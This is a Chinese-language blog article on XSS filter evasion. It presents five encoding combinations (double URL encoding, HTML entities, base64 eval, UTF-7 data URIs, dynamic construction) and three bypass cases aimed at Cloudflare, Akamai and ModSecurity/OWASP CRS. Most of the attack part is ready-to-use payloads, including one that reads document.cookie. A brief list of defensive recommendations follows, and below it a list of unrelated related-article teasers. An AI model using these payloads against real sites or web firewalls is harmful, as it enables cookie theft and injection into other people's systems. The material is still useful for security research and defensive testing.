XSS 绕过实战:5种编码组合与3个现代WAF绕过案例解析
XSS 绕过实战5种编码组合与3个现代WAF绕过案例解析在Web安全领域XSS跨站脚本攻击始终是攻防双方博弈的焦点。随着WAFWeb应用防火墙技术的不断进化传统的XSS攻击手段已难以奏效。本文将深入探讨5种编码组合技术并解析3个针对Cloudflare等现代WAF的实际绕过案例为安全研究人员提供实战级解决方案。1. XSS编码组合技术原理现代WAF通常采用多层过滤机制单一编码方式往往难以突破防御。有效的绕过需要理解不同编码方式的交互作用1.1 编码层叠原理浏览器对内容的解析遵循特定顺序这为编码组合创造了机会。典型的解析流程包括HTML实体解码URL解码JavaScript/Unicode解码CSS解码如适用通过精心设计编码顺序可使恶意代码在WAF检测阶段隐形而在浏览器解析阶段复活。1.2 五种高效编码组合组合1HTML实体URL双重编码a hrefjavascript:%253Cscript%253Ealert(1)%253C%252Fscript%253EClick/a解码过程WAF看到的是URL编码后的%253C即%3C的二次编码而浏览器会依次解码为script组合2Unicode转义HTML实体img srcx onerror#x61;#x6C;#x65;#x72;#x74;#x28;1#x29;关键点使用HTML实体表示Unicode字符绕过关键字检测组合3JS注释混淆Base64script //%0Aeval(atob(YWxlcnQoMSk)) /script技巧换行符(%0A)分割关键字Base64隐藏实际代码组合4多重编码嵌套iframe srcdata:text/html;charsetutf-7,ADw-scriptAD4-alert(ACI-1ACI-)ADw-/scriptAD4-/iframe特点UTF-7编码data协议对老旧系统特别有效组合5动态构造局部编码input onfocus_window[alert];_(1) autofocus优势运行时拼接关键函数静态检测难以发现2. 现代WAF绕过案例分析案例1Cloudflare规则绕过目标环境Cloudflare企业版启用了XSS防护规则集绕过方案svg/onloadalert#0000000040;document.cookie)分析利用零填充Unicode编码和HTML实体混淆alert(函数调用效果Cloudflare的正则匹配未能识别异常编码而浏览器正常解析技术细节#0000000040;→ HTML实体编码的(字符超长的零填充规避了简单的长度检查SVG标签的onload事件作为执行载体案例2Akamai参数污染绕过目标环境Akamai WAF防护的ASP.NET应用攻击向量?id1id2idonpointerrawupdateaconfirmida(1)结果生成input value1,2, onpointerrawupdateaconfirm,a(1)关键点利用ASP.NET的参数合并特性构造事件处理器防御突破参数污染制造属性注入点冷门事件onpointerrawupdate规避常见黑名单逗号替代括号执行函数案例3ModSecurity深度检测绕过目标环境ModSecurity 3.0 with OWASP CRS 3.3Payloaddetails/open/ontoggleconfirm1创新点使用HTML5的details标签反引号模板字符串替代括号多属性合并减少特征技术演进传统方案scriptalert(1)/script → 被CRS规则941100拦截 改进方案img srcx onerroralert(1) → 被规则941160拦截 最终方案利用新兴HTML特性ES6语法3. 高级绕过技术实践3.1 解码顺序混淆技术不同上下文环境存在解码顺序差异精心设计的组合可制造解析分歧!-- 三重编码示例 -- a hrefjavascript:%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2339%3B%26%2388%3B%26%2383%3B%26%2383%3B%26%2339%3B%26%2341%3B 点击 /a解码流程URL解码#97;#108;#101;#114;#116;#40;#39;#88;#83;#83;#39;#41;HTML实体解码alert(XSS)JavaScript执行3.2 非常用标签与属性现代WAF对常见向量如script、onerror检测严格但可能忽略marquee/onstartprompt1 audio/src/onplayconfirm(1) video/poster/onerroreval(alert(1))3.3 协议混淆技术利用浏览器对协议处理的灵活性!-- javascript伪协议变体 -- iframe srcjAvAsCrIpT:alert(1)/iframe !-- data协议嵌套 -- object datadata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg/object4. 防御对抗建议针对上述绕过技术防御方应考虑上下文感知过滤根据输出位置HTML/JS/URL应用不同规则规范化处理统一解码后再检测行为分析检测异常的事件处理器构造严格CSP策略限制脚本执行源持续规则更新跟踪新兴HTML5/JS特性在最近的一次渗透测试中我们发现某金融系统虽然部署了顶级WAF但通过组合SVG标签、HTML实体编码和URL编码仍然成功实现了存储型XSS注入。这提醒我们安全防御需要多层次、动态化的解决方案。

相关新闻

PyTorch 2.0+ 张量维度转换:view、reshape、permute 等8种方法性能对比与内存分析

PyTorch 2.0+ 张量维度转换:view、reshape、permute 等8种方法性能对比与内存分析

PyTorch 2.0 张量维度转换:8种核心方法性能对比与内存优化指南在深度学习模型开发中,张量维度转换是最基础却至关重要的操作。PyTorch提供了多达8种维度操作方法,但它们的性能特征和内存行为却大相径庭。本文将深入剖析view、reshape、permut…

2026/7/8 0:56:21阅读更多 →
YOLO目标检测实战:从数据采集到本地部署全流程指南

YOLO目标检测实战:从数据采集到本地部署全流程指南

🚀 30款热门AI模型一站整合,DeepSeek/GLM/Qwen 随心用,限时 5 折。 👉 点击领海量免费额度 第一次接触 YOLO 目标检测时,很多人会陷入一个误区:以为只要下载一个预训练模型,跑通 demo 就掌握…

2026/7/8 0:56:21阅读更多 →
多代理配置:如何让OpenClaw的不同Agent使用不同的代理出口?

多代理配置:如何让OpenClaw的不同Agent使用不同的代理出口?

在多代理场景下,每个 Agent 独立代理出口的核心价值在于 实现彻底的账号与身份隔离。当你需要同时运营多个社交媒体账号、管理不同客户群体的咨询,或让不同 Agent 负责不同业务线时,如果所有流量都从一个 IP 出口发出,平台的风控系…

2026/7/8 0:56:21阅读更多 →
基于RC6与位平面分解的图像加密系统设计与Matlab实现

基于RC6与位平面分解的图像加密系统设计与Matlab实现

1. 项目概述:当图像安全遇上现代密码学最近在整理一些关于多媒体安全的老项目,发现一个挺有意思的组合:用RC6这种现代分组密码,结合图像处理里经典的位平面分解技术,来构建一个图像加密解密系统。这听起来像是个课程设…

2026/7/8 2:06:25阅读更多 →
2026项目管理系统横向盘点:从工具到平台的进化之路

2026项目管理系统横向盘点:从工具到平台的进化之路

项目管理系统经历了从"Excel微信群"到专业工具,再到企业级平台的演变。如今的项目管理系统,已经不仅仅是管进度、管任务,而是要与财务、人事、客户、协同深度整合,成为企业运营的核心枢纽。 ‌一、致远互联:协同型项目管理的开创者‌ 在国内协同型项目管理领域,致远…

2026/7/8 2:06:25阅读更多 →
人生躺平的最小单位是什么?

人生躺平的最小单位是什么?

"躺平"并不是一个统一的心理状态。 有的人说"躺平",是主动降低欲望,过简单生活;有的人说"躺平",实际上是因为长期压力、反复受挫或精力耗尽,已经很难再行动。这两种情况的心理机制并不一…

2026/7/8 2:06:25阅读更多 →
变量查看与修改

变量查看与修改

在使用 GDB 调试程序时,除了控制程序的运行流程以外,最常见的操作就是查看变量的值、查看参数的值,以及在调试过程中临时修改某些变量的值。通过这些命令,可以观察程序运行时的数据变化,从而判断程序逻辑是否符合预期。…

2026/7/8 2:06:25阅读更多 →
LeetCode 984.不含AAA或BBB的字符串

LeetCode 984.不含AAA或BBB的字符串

给定两个整数 a 和 b ,返回 任意 字符串 s ,要求满足: s 的长度为 a b,且正好包含 a 个 ‘a’ 字母与 b 个 ‘b’ 字母; 子串 ‘aaa’ 没有出现在 s 中; 子串 ‘bbb’ 没有出现在 s 中。 示例 1&#xff1…

2026/7/8 2:06:25阅读更多 →
测试转大模型:上线前最该检查的几件事

测试转大模型:上线前最该检查的几件事

这篇我按“先跑起来、再讲取舍”的方式写《测试转大模型:上线前最该检查的几件事》。概念会讲,但重点放在代码怎么组织、哪里容易踩坑。 摘要 先把这篇文章的目标说清楚:看完之后,你应该能判断这件事值不值得做,以及…

2026/7/8 2:01:24阅读更多 →
从GitHub安全案例解析常见漏洞与防护实践

从GitHub安全案例解析常见漏洞与防护实践

1. 项目概述:从GitHub Trending看安全实战 最近在GitHub Trending上看到一个项目,叫 skills4/skills ,它因为一些安全漏洞案例被大家讨论。这其实是一个挺典型的场景:一个旨在展示或教授某种技能的仓库,本身却成了安…

2026/7/7 4:43:43阅读更多 →
MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

# MLT 2026启示:因果推理与概率建模驱动下一代LLM应用## 一、背景与挑战:从“黑箱预测”到“可信推理”2026年6月,第7届机器学习与趋势国际会议(MLT 2026)将在悉尼召开。会议议程中,“因果与可解释机器学习…

2026/7/7 2:56:31阅读更多 →
通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

1. 项目概述与漏洞背景最近在梳理一些历史OA系统的安全风险时,通达OA v11.6版本中的一个老漏洞又进入了我的视线。这个漏洞位于/general/bi_design/appcenter/report_bi.func.php文件中,是一个典型的SQL注入点。虽然这个漏洞的利用方式看起来并不复杂&am…

2026/7/7 1:03:28阅读更多 →
作为一个给团队打绩效的人,我想说几句

作为一个给团队打绩效的人,我想说几句

我每半年都会给团队成员打绩效,也会参与和 CTO 的绩效校准,所以从管理者的视角,说说这件事 首先,我先把结论告诉你:接受结果,但一定要把原因问清楚。 因为当绩效公布到你这里的时候,结果基本已…

2026/7/8 0:01:17阅读更多 →
A股股指期货:全维度解析(多表格结构化完整版)

A股股指期货:全维度解析(多表格结构化完整版)

一、基础定义与核心本质股指期货全称股票价格指数期货,是中国金融期货交易所(中金所)上市的标准化金融期货合约,交易标的为 A 股大盘指数,约定未来特定时间按约定价格现金交割指数涨跌差价,不交割一篮子股票…

2026/7/8 0:01:17阅读更多 →
iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事

iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事

iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事 【免费下载链接】Jailbreak iOS 26.4 - 26, 17 - 17.7.5 & iOS 18 - 18.7.3 Jailbreak Tools, Cydia/Sileo/Zebra Tweaks & Jailbreak News Updates || AI Jailbreak Finder &…

2026/7/8 0:01:17阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/7 5:11:21阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/7 5:11:21阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/7 5:11:21阅读更多 →